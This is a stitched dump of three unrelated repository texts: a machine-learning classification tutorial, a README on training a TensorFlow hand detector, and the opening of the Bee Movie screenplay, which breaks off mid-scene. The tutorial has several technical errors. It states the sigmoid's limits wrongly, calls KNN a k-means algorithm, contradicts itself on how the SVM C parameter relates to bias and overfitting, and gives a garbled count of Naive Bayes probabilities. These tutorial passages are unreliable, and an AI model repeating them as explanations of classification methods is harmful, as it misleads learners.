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sayantann11 / All Classification Templetes For MLClassification - Machine Learning This is ‘Classification’ tutorial which is a part of the Machine Learning course offered by Simplilearn. We will learn Classification algorithms, types of classification algorithms, support vector machines(SVM), Naive Bayes, Decision Tree and Random Forest Classifier in this tutorial. Objectives Let us look at some of the objectives covered under this section of Machine Learning tutorial. Define Classification and list its algorithms Describe Logistic Regression and Sigmoid Probability Explain K-Nearest Neighbors and KNN classification Understand Support Vector Machines, Polynomial Kernel, and Kernel Trick Analyze Kernel Support Vector Machines with an example Implement the Naïve Bayes Classifier Demonstrate Decision Tree Classifier Describe Random Forest Classifier Classification: Meaning Classification is a type of supervised learning. It specifies the class to which data elements belong to and is best used when the output has finite and discrete values. It predicts a class for an input variable as well. There are 2 types of Classification: Binomial Multi-Class Classification: Use Cases Some of the key areas where classification cases are being used: To find whether an email received is a spam or ham To identify customer segments To find if a bank loan is granted To identify if a kid will pass or fail in an examination Classification: Example Social media sentiment analysis has two potential outcomes, positive or negative, as displayed by the chart given below. https://www.simplilearn.com/ice9/free_resources_article_thumb/classification-example-machine-learning.JPG This chart shows the classification of the Iris flower dataset into its three sub-species indicated by codes 0, 1, and 2. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-flower-dataset-graph.JPG The test set dots represent the assignment of new test data points to one class or the other based on the trained classifier model. Types of Classification Algorithms Let’s have a quick look into the types of Classification Algorithm below. Linear Models Logistic Regression Support Vector Machines Nonlinear models K-nearest Neighbors (KNN) Kernel Support Vector Machines (SVM) Naïve Bayes Decision Tree Classification Random Forest Classification Logistic Regression: Meaning Let us understand the Logistic Regression model below. This refers to a regression model that is used for classification. This method is widely used for binary classification problems. It can also be extended to multi-class classification problems. Here, the dependent variable is categorical: y ϵ {0, 1} A binary dependent variable can have only two values, like 0 or 1, win or lose, pass or fail, healthy or sick, etc In this case, you model the probability distribution of output y as 1 or 0. This is called the sigmoid probability (σ). If σ(θ Tx) > 0.5, set y = 1, else set y = 0 Unlike Linear Regression (and its Normal Equation solution), there is no closed form solution for finding optimal weights of Logistic Regression. Instead, you must solve this with maximum likelihood estimation (a probability model to detect the maximum likelihood of something happening). It can be used to calculate the probability of a given outcome in a binary model, like the probability of being classified as sick or passing an exam. https://www.simplilearn.com/ice9/free_resources_article_thumb/logistic-regression-example-graph.JPG Sigmoid Probability The probability in the logistic regression is often represented by the Sigmoid function (also called the logistic function or the S-curve): https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-function-machine-learning.JPG In this equation, t represents data values * the number of hours studied and S(t) represents the probability of passing the exam. Assume sigmoid function: https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-probability-machine-learning.JPG g(z) tends toward 1 as z -> infinity , and g(z) tends toward 0 as z -> infinity K-nearest Neighbors (KNN) K-nearest Neighbors algorithm is used to assign a data point to clusters based on similarity measurement. It uses a supervised method for classification. The steps to writing a k-means algorithm are as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-distribution-graph-machine-learning.JPG Choose the number of k and a distance metric. (k = 5 is common) Find k-nearest neighbors of the sample that you want to classify Assign the class label by majority vote. KNN Classification A new input point is classified in the category such that it has the most number of neighbors from that category. For example: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-classification-machine-learning.JPG Classify a patient as high risk or low risk. Mark email as spam or ham. Keen on learning about Classification Algorithms in Machine Learning? Click here! Support Vector Machine (SVM) Let us understand Support Vector Machine (SVM) in detail below. SVMs are classification algorithms used to assign data to various classes. They involve detecting hyperplanes which segregate data into classes. SVMs are very versatile and are also capable of performing linear or nonlinear classification, regression, and outlier detection. Once ideal hyperplanes are discovered, new data points can be easily classified. https://www.simplilearn.com/ice9/free_resources_article_thumb/support-vector-machines-graph-machine-learning.JPG The optimization objective is to find “maximum margin hyperplane” that is farthest from the closest points in the two classes (these points are called support vectors). In the given figure, the middle line represents the hyperplane. SVM Example Let’s look at this image below and have an idea about SVM in general. Hyperplanes with larger margins have lower generalization error. The positive and negative hyperplanes are represented by: https://www.simplilearn.com/ice9/free_resources_article_thumb/positive-negative-hyperplanes-machine-learning.JPG Classification of any new input sample xtest : If w0 + wTxtest > 1, the sample xtest is said to be in the class toward the right of the positive hyperplane. If w0 + wTxtest < -1, the sample xtest is said to be in the class toward the left of the negative hyperplane. When you subtract the two equations, you get: https://www.simplilearn.com/ice9/free_resources_article_thumb/equation-subtraction-machine-learning.JPG Length of vector w is (L2 norm length): https://www.simplilearn.com/ice9/free_resources_article_thumb/length-of-vector-machine-learning.JPG You normalize with the length of w to arrive at: https://www.simplilearn.com/ice9/free_resources_article_thumb/normalize-equation-machine-learning.JPG SVM: Hard Margin Classification Given below are some points to understand Hard Margin Classification. The left side of equation SVM-1 given above can be interpreted as the distance between the positive (+ve) and negative (-ve) hyperplanes; in other words, it is the margin that can be maximized. Hence the objective of the function is to maximize with the constraint that the samples are classified correctly, which is represented as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-machine-learning.JPG This means that you are minimizing ‖w‖. This also means that all positive samples are on one side of the positive hyperplane and all negative samples are on the other side of the negative hyperplane. This can be written concisely as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-formula.JPG Minimizing ‖w‖ is the same as minimizing. This figure is better as it is differentiable even at w = 0. The approach listed above is called “hard margin linear SVM classifier.” SVM: Soft Margin Classification Given below are some points to understand Soft Margin Classification. To allow for linear constraints to be relaxed for nonlinearly separable data, a slack variable is introduced. (i) measures how much ith instance is allowed to violate the margin. The slack variable is simply added to the linear constraints. https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-machine-learning.JPG Subject to the above constraints, the new objective to be minimized becomes: https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-formula.JPG You have two conflicting objectives now—minimizing slack variable to reduce margin violations and minimizing to increase the margin. The hyperparameter C allows us to define this trade-off. Large values of C correspond to larger error penalties (so smaller margins), whereas smaller values of C allow for higher misclassification errors and larger margins. https://www.simplilearn.com/ice9/free_resources_article_thumb/machine-learning-certification-video-preview.jpg SVM: Regularization The concept of C is the reverse of regularization. Higher C means lower regularization, which increases bias and lowers the variance (causing overfitting). https://www.simplilearn.com/ice9/free_resources_article_thumb/concept-of-c-graph-machine-learning.JPG IRIS Data Set The Iris dataset contains measurements of 150 IRIS flowers from three different species: Setosa Versicolor Viriginica Each row represents one sample. Flower measurements in centimeters are stored as columns. These are called features. IRIS Data Set: SVM Let’s train an SVM model using sci-kit-learn for the Iris dataset: https://www.simplilearn.com/ice9/free_resources_article_thumb/svm-model-graph-machine-learning.JPG Nonlinear SVM Classification There are two ways to solve nonlinear SVMs: by adding polynomial features by adding similarity features Polynomial features can be added to datasets; in some cases, this can create a linearly separable dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/nonlinear-classification-svm-machine-learning.JPG In the figure on the left, there is only 1 feature x1. This dataset is not linearly separable. If you add x2 = (x1)2 (figure on the right), the data becomes linearly separable. Polynomial Kernel In sci-kit-learn, one can use a Pipeline class for creating polynomial features. Classification results for the Moons dataset are shown in the figure. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-machine-learning.JPG Polynomial Kernel with Kernel Trick Let us look at the image below and understand Kernel Trick in detail. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-with-kernel-trick.JPG For large dimensional datasets, adding too many polynomial features can slow down the model. You can apply a kernel trick with the effect of polynomial features without actually adding them. The code is shown (SVC class) below trains an SVM classifier using a 3rd-degree polynomial kernel but with a kernel trick. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-equation-machine-learning.JPG The hyperparameter coefθ controls the influence of high-degree polynomials. Kernel SVM Let us understand in detail about Kernel SVM. Kernel SVMs are used for classification of nonlinear data. In the chart, nonlinear data is projected into a higher dimensional space via a mapping function where it becomes linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-machine-learning.JPG In the higher dimension, a linear separating hyperplane can be derived and used for classification. A reverse projection of the higher dimension back to original feature space takes it back to nonlinear shape. As mentioned previously, SVMs can be kernelized to solve nonlinear classification problems. You can create a sample dataset for XOR gate (nonlinear problem) from NumPy. 100 samples will be assigned the class sample 1, and 100 samples will be assigned the class label -1. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-graph-machine-learning.JPG As you can see, this data is not linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-non-separable.JPG You now use the kernel trick to classify XOR dataset created earlier. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-xor-machine-learning.JPG Naïve Bayes Classifier What is Naive Bayes Classifier? Have you ever wondered how your mail provider implements spam filtering or how online news channels perform news text classification or even how companies perform sentiment analysis of their audience on social media? All of this and more are done through a machine learning algorithm called Naive Bayes Classifier. Naive Bayes Named after Thomas Bayes from the 1700s who first coined this in the Western literature. Naive Bayes classifier works on the principle of conditional probability as given by the Bayes theorem. Advantages of Naive Bayes Classifier Listed below are six benefits of Naive Bayes Classifier. Very simple and easy to implement Needs less training data Handles both continuous and discrete data Highly scalable with the number of predictors and data points As it is fast, it can be used in real-time predictions Not sensitive to irrelevant features Bayes Theorem We will understand Bayes Theorem in detail from the points mentioned below. According to the Bayes model, the conditional probability P(Y|X) can be calculated as: P(Y|X) = P(X|Y)P(Y) / P(X) This means you have to estimate a very large number of P(X|Y) probabilities for a relatively small vector space X. For example, for a Boolean Y and 30 possible Boolean attributes in the X vector, you will have to estimate 3 billion probabilities P(X|Y). To make it practical, a Naïve Bayes classifier is used, which assumes conditional independence of P(X) to each other, with a given value of Y. This reduces the number of probability estimates to 2*30=60 in the above example. Naïve Bayes Classifier for SMS Spam Detection Consider a labeled SMS database having 5574 messages. It has messages as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-machine-learning.JPG Each message is marked as spam or ham in the data set. Let’s train a model with Naïve Bayes algorithm to detect spam from ham. The message lengths and their frequency (in the training dataset) are as shown below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-spam-detection.JPG Analyze the logic you use to train an algorithm to detect spam: Split each message into individual words/tokens (bag of words). Lemmatize the data (each word takes its base form, like “walking” or “walked” is replaced with “walk”). Convert data to vectors using scikit-learn module CountVectorizer. Run TFIDF to remove common words like “is,” “are,” “and.” Now apply scikit-learn module for Naïve Bayes MultinomialNB to get the Spam Detector. This spam detector can then be used to classify a random new message as spam or ham. Next, the accuracy of the spam detector is checked using the Confusion Matrix. For the SMS spam example above, the confusion matrix is shown on the right. Accuracy Rate = Correct / Total = (4827 + 592)/5574 = 97.21% Error Rate = Wrong / Total = (155 + 0)/5574 = 2.78% https://www.simplilearn.com/ice9/free_resources_article_thumb/confusion-matrix-machine-learning.JPG Although confusion Matrix is useful, some more precise metrics are provided by Precision and Recall. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-recall-matrix-machine-learning.JPG Precision refers to the accuracy of positive predictions. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-formula-machine-learning.JPG Recall refers to the ratio of positive instances that are correctly detected by the classifier (also known as True positive rate or TPR). https://www.simplilearn.com/ice9/free_resources_article_thumb/recall-formula-machine-learning.JPG Precision/Recall Trade-off To detect age-appropriate videos for kids, you need high precision (low recall) to ensure that only safe videos make the cut (even though a few safe videos may be left out). The high recall is needed (low precision is acceptable) in-store surveillance to catch shoplifters; a few false alarms are acceptable, but all shoplifters must be caught. Learn about Naive Bayes in detail. Click here! Decision Tree Classifier Some aspects of the Decision Tree Classifier mentioned below are. Decision Trees (DT) can be used both for classification and regression. The advantage of decision trees is that they require very little data preparation. They do not require feature scaling or centering at all. They are also the fundamental components of Random Forests, one of the most powerful ML algorithms. Unlike Random Forests and Neural Networks (which do black-box modeling), Decision Trees are white box models, which means that inner workings of these models are clearly understood. In the case of classification, the data is segregated based on a series of questions. Any new data point is assigned to the selected leaf node. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-machine-learning.JPG Start at the tree root and split the data on the feature using the decision algorithm, resulting in the largest information gain (IG). This splitting procedure is then repeated in an iterative process at each child node until the leaves are pure. This means that the samples at each node belonging to the same class. In practice, you can set a limit on the depth of the tree to prevent overfitting. The purity is compromised here as the final leaves may still have some impurity. The figure shows the classification of the Iris dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-graph.JPG IRIS Decision Tree Let’s build a Decision Tree using scikit-learn for the Iris flower dataset and also visualize it using export_graphviz API. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-machine-learning.JPG The output of export_graphviz can be converted into png format: https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-output.JPG Sample attribute stands for the number of training instances the node applies to. Value attribute stands for the number of training instances of each class the node applies to. Gini impurity measures the node’s impurity. A node is “pure” (gini=0) if all training instances it applies to belong to the same class. https://www.simplilearn.com/ice9/free_resources_article_thumb/impurity-formula-machine-learning.JPG For example, for Versicolor (green color node), the Gini is 1-(0/54)2 -(49/54)2 -(5/54) 2 ≈ 0.168 https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-sample.JPG Decision Boundaries Let us learn to create decision boundaries below. For the first node (depth 0), the solid line splits the data (Iris-Setosa on left). Gini is 0 for Setosa node, so no further split is possible. The second node (depth 1) splits the data into Versicolor and Virginica. If max_depth were set as 3, a third split would happen (vertical dotted line). https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-boundaries.JPG For a sample with petal length 5 cm and petal width 1.5 cm, the tree traverses to depth 2 left node, so the probability predictions for this sample are 0% for Iris-Setosa (0/54), 90.7% for Iris-Versicolor (49/54), and 9.3% for Iris-Virginica (5/54) CART Training Algorithm Scikit-learn uses Classification and Regression Trees (CART) algorithm to train Decision Trees. CART algorithm: Split the data into two subsets using a single feature k and threshold tk (example, petal length < “2.45 cm”). This is done recursively for each node. k and tk are chosen such that they produce the purest subsets (weighted by their size). The objective is to minimize the cost function as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/cart-training-algorithm-machine-learning.JPG The algorithm stops executing if one of the following situations occurs: max_depth is reached No further splits are found for each node Other hyperparameters may be used to stop the tree: min_samples_split min_samples_leaf min_weight_fraction_leaf max_leaf_nodes Gini Impurity or Entropy Entropy is one more measure of impurity and can be used in place of Gini. https://www.simplilearn.com/ice9/free_resources_article_thumb/gini-impurity-entrophy.JPG It is a degree of uncertainty, and Information Gain is the reduction that occurs in entropy as one traverses down the tree. Entropy is zero for a DT node when the node contains instances of only one class. Entropy for depth 2 left node in the example given above is: https://www.simplilearn.com/ice9/free_resources_article_thumb/entrophy-for-depth-2.JPG Gini and Entropy both lead to similar trees. DT: Regularization The following figure shows two decision trees on the moons dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/dt-regularization-machine-learning.JPG The decision tree on the right is restricted by min_samples_leaf = 4. The model on the left is overfitting, while the model on the right generalizes better. Random Forest Classifier Let us have an understanding of Random Forest Classifier below. A random forest can be considered an ensemble of decision trees (Ensemble learning). Random Forest algorithm: Draw a random bootstrap sample of size n (randomly choose n samples from the training set). Grow a decision tree from the bootstrap sample. At each node, randomly select d features. Split the node using the feature that provides the best split according to the objective function, for instance by maximizing the information gain. Repeat the steps 1 to 2 k times. (k is the number of trees you want to create, using a subset of samples) Aggregate the prediction by each tree for a new data point to assign the class label by majority vote (pick the group selected by the most number of trees and assign new data point to that group). Random Forests are opaque, which means it is difficult to visualize their inner workings. https://www.simplilearn.com/ice9/free_resources_article_thumb/random-forest-classifier-graph.JPG However, the advantages outweigh their limitations since you do not have to worry about hyperparameters except k, which stands for the number of decision trees to be created from a subset of samples. RF is quite robust to noise from the individual decision trees. Hence, you need not prune individual decision trees. The larger the number of decision trees, the more accurate the Random Forest prediction is. (This, however, comes with higher computation cost). Key Takeaways Let us quickly run through what we have learned so far in this Classification tutorial. Classification algorithms are supervised learning methods to split data into classes. They can work on Linear Data as well as Nonlinear Data. Logistic Regression can classify data based on weighted parameters and sigmoid conversion to calculate the probability of classes. K-nearest Neighbors (KNN) algorithm uses similar features to classify data. Support Vector Machines (SVMs) classify data by detecting the maximum margin hyperplane between data classes. Naïve Bayes, a simplified Bayes Model, can help classify data using conditional probability models. Decision Trees are powerful classifiers and use tree splitting logic until pure or somewhat pure leaf node classes are attained. Random Forests apply Ensemble Learning to Decision Trees for more accurate classification predictions. Conclusion This completes ‘Classification’ tutorial. In the next tutorial, we will learn 'Unsupervised Learning with Clustering.'
molyswu / Hand Detectionusing Neural Networks (SSD) on Tensorflow. This repo documents steps and scripts used to train a hand detector using Tensorflow (Object Detection API). As with any DNN based task, the most expensive (and riskiest) part of the process has to do with finding or creating the right (annotated) dataset. I was interested mainly in detecting hands on a table (egocentric view point). I experimented first with the [Oxford Hands Dataset](http://www.robots.ox.ac.uk/~vgg/data/hands/) (the results were not good). I then tried the [Egohands Dataset](http://vision.soic.indiana.edu/projects/egohands/) which was a much better fit to my requirements. The goal of this repo/post is to demonstrate how neural networks can be applied to the (hard) problem of tracking hands (egocentric and other views). Better still, provide code that can be adapted to other uses cases. If you use this tutorial or models in your research or project, please cite [this](#citing-this-tutorial). Here is the detector in action. <img src="images/hand1.gif" width="33.3%"><img src="images/hand2.gif" width="33.3%"><img src="images/hand3.gif" width="33.3%"> Realtime detection on video stream from a webcam . <img src="images/chess1.gif" width="33.3%"><img src="images/chess2.gif" width="33.3%"><img src="images/chess3.gif" width="33.3%"> Detection on a Youtube video. Both examples above were run on a macbook pro **CPU** (i7, 2.5GHz, 16GB). Some fps numbers are: | FPS | Image Size | Device| Comments| | ------------- | ------------- | ------------- | ------------- | | 21 | 320 * 240 | Macbook pro (i7, 2.5GHz, 16GB) | Run without visualizing results| | 16 | 320 * 240 | Macbook pro (i7, 2.5GHz, 16GB) | Run while visualizing results (image above) | | 11 | 640 * 480 | Macbook pro (i7, 2.5GHz, 16GB) | Run while visualizing results (image above) | > Note: The code in this repo is written and tested with Tensorflow `1.4.0-rc0`. Using a different version may result in [some errors](https://github.com/tensorflow/models/issues/1581). You may need to [generate your own frozen model](https://pythonprogramming.net/testing-custom-object-detector-tensorflow-object-detection-api-tutorial/?completed=/training-custom-objects-tensorflow-object-detection-api-tutorial/) graph using the [model checkpoints](model-checkpoint) in the repo to fit your TF version. **Content of this document** - Motivation - Why Track/Detect hands with Neural Networks - Data preparation and network training in Tensorflow (Dataset, Import, Training) - Training the hand detection Model - Using the Detector to Detect/Track hands - Thoughts on Optimizations. > P.S if you are using or have used the models provided here, feel free to reach out on twitter ([@vykthur](https://twitter.com/vykthur)) and share your work! ## Motivation - Why Track/Detect hands with Neural Networks? There are several existing approaches to tracking hands in the computer vision domain. Incidentally, many of these approaches are rule based (e.g extracting background based on texture and boundary features, distinguishing between hands and background using color histograms and HOG classifiers,) making them not very robust. For example, these algorithms might get confused if the background is unusual or in situations where sharp changes in lighting conditions cause sharp changes in skin color or the tracked object becomes occluded.(see [here for a review](https://www.cse.unr.edu/~bebis/handposerev.pdf) paper on hand pose estimation from the HCI perspective) With sufficiently large datasets, neural networks provide opportunity to train models that perform well and address challenges of existing object tracking/detection algorithms - varied/poor lighting, noisy environments, diverse viewpoints and even occlusion. The main drawbacks to usage for real-time tracking/detection is that they can be complex, are relatively slow compared to tracking-only algorithms and it can be quite expensive to assemble a good dataset. But things are changing with advances in fast neural networks. Furthermore, this entire area of work has been made more approachable by deep learning frameworks (such as the tensorflow object detection api) that simplify the process of training a model for custom object detection. More importantly, the advent of fast neural network models like ssd, faster r-cnn, rfcn (see [here](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/detection_model_zoo.md#coco-trained-models-coco-models) ) etc make neural networks an attractive candidate for real-time detection (and tracking) applications. Hopefully, this repo demonstrates this. > If you are not interested in the process of training the detector, you can skip straight to applying the [pretrained model I provide in detecting hands](#detecting-hands). Training a model is a multi-stage process (assembling dataset, cleaning, splitting into training/test partitions and generating an inference graph). While I lightly touch on the details of these parts, there are a few other tutorials cover training a custom object detector using the tensorflow object detection api in more detail[ see [here](https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/) and [here](https://towardsdatascience.com/how-to-train-your-own-object-detector-with-tensorflows-object-detector-api-bec72ecfe1d9) ]. I recommend you walk through those if interested in training a custom object detector from scratch. ## Data preparation and network training in Tensorflow (Dataset, Import, Training) **The Egohands Dataset** The hand detector model is built using data from the [Egohands Dataset](http://vision.soic.indiana.edu/projects/egohands/) dataset. This dataset works well for several reasons. It contains high quality, pixel level annotations (>15000 ground truth labels) where hands are located across 4800 images. All images are captured from an egocentric view (Google glass) across 48 different environments (indoor, outdoor) and activities (playing cards, chess, jenga, solving puzzles etc). <img src="images/egohandstrain.jpg" width="100%"> If you will be using the Egohands dataset, you can cite them as follows: > Bambach, Sven, et al. "Lending a hand: Detecting hands and recognizing activities in complex egocentric interactions." Proceedings of the IEEE International Conference on Computer Vision. 2015. The Egohands dataset (zip file with labelled data) contains 48 folders of locations where video data was collected (100 images per folder). ``` -- LOCATION_X -- frame_1.jpg -- frame_2.jpg ... -- frame_100.jpg -- polygons.mat // contains annotations for all 100 images in current folder -- LOCATION_Y -- frame_1.jpg -- frame_2.jpg ... -- frame_100.jpg -- polygons.mat // contains annotations for all 100 images in current folder ``` **Converting data to Tensorflow Format** Some initial work needs to be done to the Egohands dataset to transform it into the format (`tfrecord`) which Tensorflow needs to train a model. This repo contains `egohands_dataset_clean.py` a script that will help you generate these csv files. - Downloads the egohands datasets - Renames all files to include their directory names to ensure each filename is unique - Splits the dataset into train (80%), test (10%) and eval (10%) folders. - Reads in `polygons.mat` for each folder, generates bounding boxes and visualizes them to ensure correctness (see image above). - Once the script is done running, you should have an images folder containing three folders - train, test and eval. Each of these folders should also contain a csv label document each - `train_labels.csv`, `test_labels.csv` that can be used to generate `tfrecords` Note: While the egohands dataset provides four separate labels for hands (own left, own right, other left, and other right), for my purpose, I am only interested in the general `hand` class and label all training data as `hand`. You can modify the data prep script to generate `tfrecords` that support 4 labels. Next: convert your dataset + csv files to tfrecords. A helpful guide on this can be found [here](https://pythonprogramming.net/creating-tfrecord-files-tensorflow-object-detection-api-tutorial/).For each folder, you should be able to generate `train.record`, `test.record` required in the training process. ## Training the hand detection Model Now that the dataset has been assembled (and your tfrecords), the next task is to train a model based on this. With neural networks, it is possible to use a process called [transfer learning](https://www.tensorflow.org/tutorials/image_retraining) to shorten the amount of time needed to train the entire model. This means we can take an existing model (that has been trained well on a related domain (here image classification) and retrain its final layer(s) to detect hands for us. Sweet!. Given that neural networks sometimes have thousands or millions of parameters that can take weeks or months to train, transfer learning helps shorten training time to possibly hours. Tensorflow does offer a few models (in the tensorflow [model zoo](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/detection_model_zoo.md#coco-trained-models-coco-models)) and I chose to use the `ssd_mobilenet_v1_coco` model as my start point given it is currently (one of) the fastest models (read the SSD research [paper here](https://arxiv.org/pdf/1512.02325.pdf)). The training process can be done locally on your CPU machine which may take a while or better on a (cloud) GPU machine (which is what I did). For reference, training on my macbook pro (tensorflow compiled from source to take advantage of the mac's cpu architecture) the maximum speed I got was 5 seconds per step as opposed to the ~0.5 seconds per step I got with a GPU. For reference it would take about 12 days to run 200k steps on my mac (i7, 2.5GHz, 16GB) compared to ~5hrs on a GPU. > **Training on your own images**: Please use the [guide provided by Harrison from pythonprogramming](https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/) on how to generate tfrecords given your label csv files and your images. The guide also covers how to start the training process if training locally. [see [here] (https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/)]. If training in the cloud using a service like GCP, see the [guide here](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/running_on_cloud.md). As the training process progresses, the expectation is that total loss (errors) gets reduced to its possible minimum (about a value of 1 or thereabout). By observing the tensorboard graphs for total loss(see image below), it should be possible to get an idea of when the training process is complete (total loss does not decrease with further iterations/steps). I ran my training job for 200k steps (took about 5 hours) and stopped at a total Loss (errors) value of 2.575.(In retrospect, I could have stopped the training at about 50k steps and gotten a similar total loss value). With tensorflow, you can also run an evaluation concurrently that assesses your model to see how well it performs on the test data. A commonly used metric for performance is mean average precision (mAP) which is single number used to summarize the area under the precision-recall curve. mAP is a measure of how well the model generates a bounding box that has at least a 50% overlap with the ground truth bounding box in our test dataset. For the hand detector trained here, the mAP value was **0.9686@0.5IOU**. mAP values range from 0-1, the higher the better. <img src="images/accuracy.jpg" width="100%"> Once training is completed, the trained inference graph (`frozen_inference_graph.pb`) is then exported (see the earlier referenced guides for how to do this) and saved in the `hand_inference_graph` folder. Now its time to do some interesting detection. ## Using the Detector to Detect/Track hands If you have not done this yet, please following the guide on installing [Tensorflow and the Tensorflow object detection api](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/installation.md). This will walk you through setting up the tensorflow framework, cloning the tensorflow github repo and a guide on - Load the `frozen_inference_graph.pb` trained on the hands dataset as well as the corresponding label map. In this repo, this is done in the `utils/detector_utils.py` script by the `load_inference_graph` method. ```python detection_graph = tf.Graph() with detection_graph.as_default(): od_graph_def = tf.GraphDef() with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tf.import_graph_def(od_graph_def, name='') sess = tf.Session(graph=detection_graph) print("> ====== Hand Inference graph loaded.") ``` - Detect hands. In this repo, this is done in the `utils/detector_utils.py` script by the `detect_objects` method. ```python (boxes, scores, classes, num) = sess.run( [detection_boxes, detection_scores, detection_classes, num_detections], feed_dict={image_tensor: image_np_expanded}) ``` - Visualize detected bounding detection_boxes. In this repo, this is done in the `utils/detector_utils.py` script by the `draw_box_on_image` method. This repo contains two scripts that tie all these steps together. - detect_multi_threaded.py : A threaded implementation for reading camera video input detection and detecting. Takes a set of command line flags to set parameters such as `--display` (visualize detections), image parameters `--width` and `--height`, videe `--source` (0 for camera) etc. - detect_single_threaded.py : Same as above, but single threaded. This script works for video files by setting the video source parameter videe `--source` (path to a video file). ```cmd # load and run detection on video at path "videos/chess.mov" python detect_single_threaded.py --source videos/chess.mov ``` > Update: If you do have errors loading the frozen inference graph in this repo, feel free to generate a new graph that fits your TF version from the model-checkpoint in this repo. Use the [export_inference_graph.py](https://github.com/tensorflow/models/blob/master/research/object_detection/export_inference_graph.py) script provided in the tensorflow object detection api repo. More guidance on this [here](https://pythonprogramming.net/testing-custom-object-detector-tensorflow-object-detection-api-tutorial/?completed=/training-custom-objects-tensorflow-object-detection-api-tutorial/). ## Thoughts on Optimization. A few things that led to noticeable performance increases. - Threading: Turns out that reading images from a webcam is a heavy I/O event and if run on the main application thread can slow down the program. I implemented some good ideas from [Adrian Rosebuck](https://www.pyimagesearch.com/2017/02/06/faster-video-file-fps-with-cv2-videocapture-and-opencv/) on parrallelizing image capture across multiple worker threads. This mostly led to an FPS increase of about 5 points. - For those new to Opencv, images from the `cv2.read()` method return images in [BGR format](https://www.learnopencv.com/why-does-opencv-use-bgr-color-format/). Ensure you convert to RGB before detection (accuracy will be much reduced if you dont). ```python cv2.cvtColor(image_np, cv2.COLOR_BGR2RGB) ``` - Keeping your input image small will increase fps without any significant accuracy drop.(I used about 320 x 240 compared to the 1280 x 720 which my webcam provides). - Model Quantization. Moving from the current 32 bit to 8 bit can achieve up to 4x reduction in memory required to load and store models. One way to further speed up this model is to explore the use of [8-bit fixed point quantization](https://heartbeat.fritz.ai/8-bit-quantization-and-tensorflow-lite-speeding-up-mobile-inference-with-low-precision-a882dfcafbbd). Performance can also be increased by a clever combination of tracking algorithms with the already decent detection and this is something I am still experimenting with. Have ideas for optimizing better, please share! <img src="images/general.jpg" width="100%"> Note: The detector does reflect some limitations associated with the training set. This includes non-egocentric viewpoints, very noisy backgrounds (e.g in a sea of hands) and sometimes skin tone. There is opportunity to improve these with additional data. ## Integrating Multiple DNNs. One way to make things more interesting is to integrate our new knowledge of where "hands" are with other detectors trained to recognize other objects. Unfortunately, while our hand detector can in fact detect hands, it cannot detect other objects (a factor or how it is trained). To create a detector that classifies multiple different objects would mean a long involved process of assembling datasets for each class and a lengthy training process. > Given the above, a potential strategy is to explore structures that allow us **efficiently** interleave output form multiple pretrained models for various object classes and have them detect multiple objects on a single image. An example of this is with my primary use case where I am interested in understanding the position of objects on a table with respect to hands on same table. I am currently doing some work on a threaded application that loads multiple detectors and outputs bounding boxes on a single image. More on this soon.
danderfer / Comp Sci Sem 2According to all known laws of aviation, there is no way that a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway. Because bees don’t care what humans think is impossible.” SEQ. 75 - “INTRO TO BARRY” INT. BENSON HOUSE - DAY ANGLE ON: Sneakers on the ground. Camera PANS UP to reveal BARRY BENSON’S BEDROOM ANGLE ON: Barry’s hand flipping through different sweaters in his closet. BARRY Yellow black, yellow black, yellow black, yellow black, yellow black, yellow black...oohh, black and yellow... ANGLE ON: Barry wearing the sweater he picked, looking in the mirror. BARRY (CONT’D) Yeah, let’s shake it up a little. He picks the black and yellow one. He then goes to the sink, takes the top off a CONTAINER OF HONEY, and puts some honey into his hair. He squirts some in his mouth and gargles. Then he takes the lid off the bottle, and rolls some on like deodorant. CUT TO: INT. BENSON HOUSE KITCHEN - CONTINUOUS Barry’s mother, JANET BENSON, yells up at Barry. JANET BENSON Barry, breakfast is ready! CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 1. INT. BARRY’S ROOM - CONTINUOUS BARRY Coming! SFX: Phone RINGING. Barry’s antennae vibrate as they RING like a phone. Barry’s hands are wet. He looks around for a towel. BARRY (CONT’D) Hang on a second! He wipes his hands on his sweater, and pulls his antennae down to his ear and mouth. BARRY (CONT'D) Hello? His best friend, ADAM FLAYMAN, is on the other end. ADAM 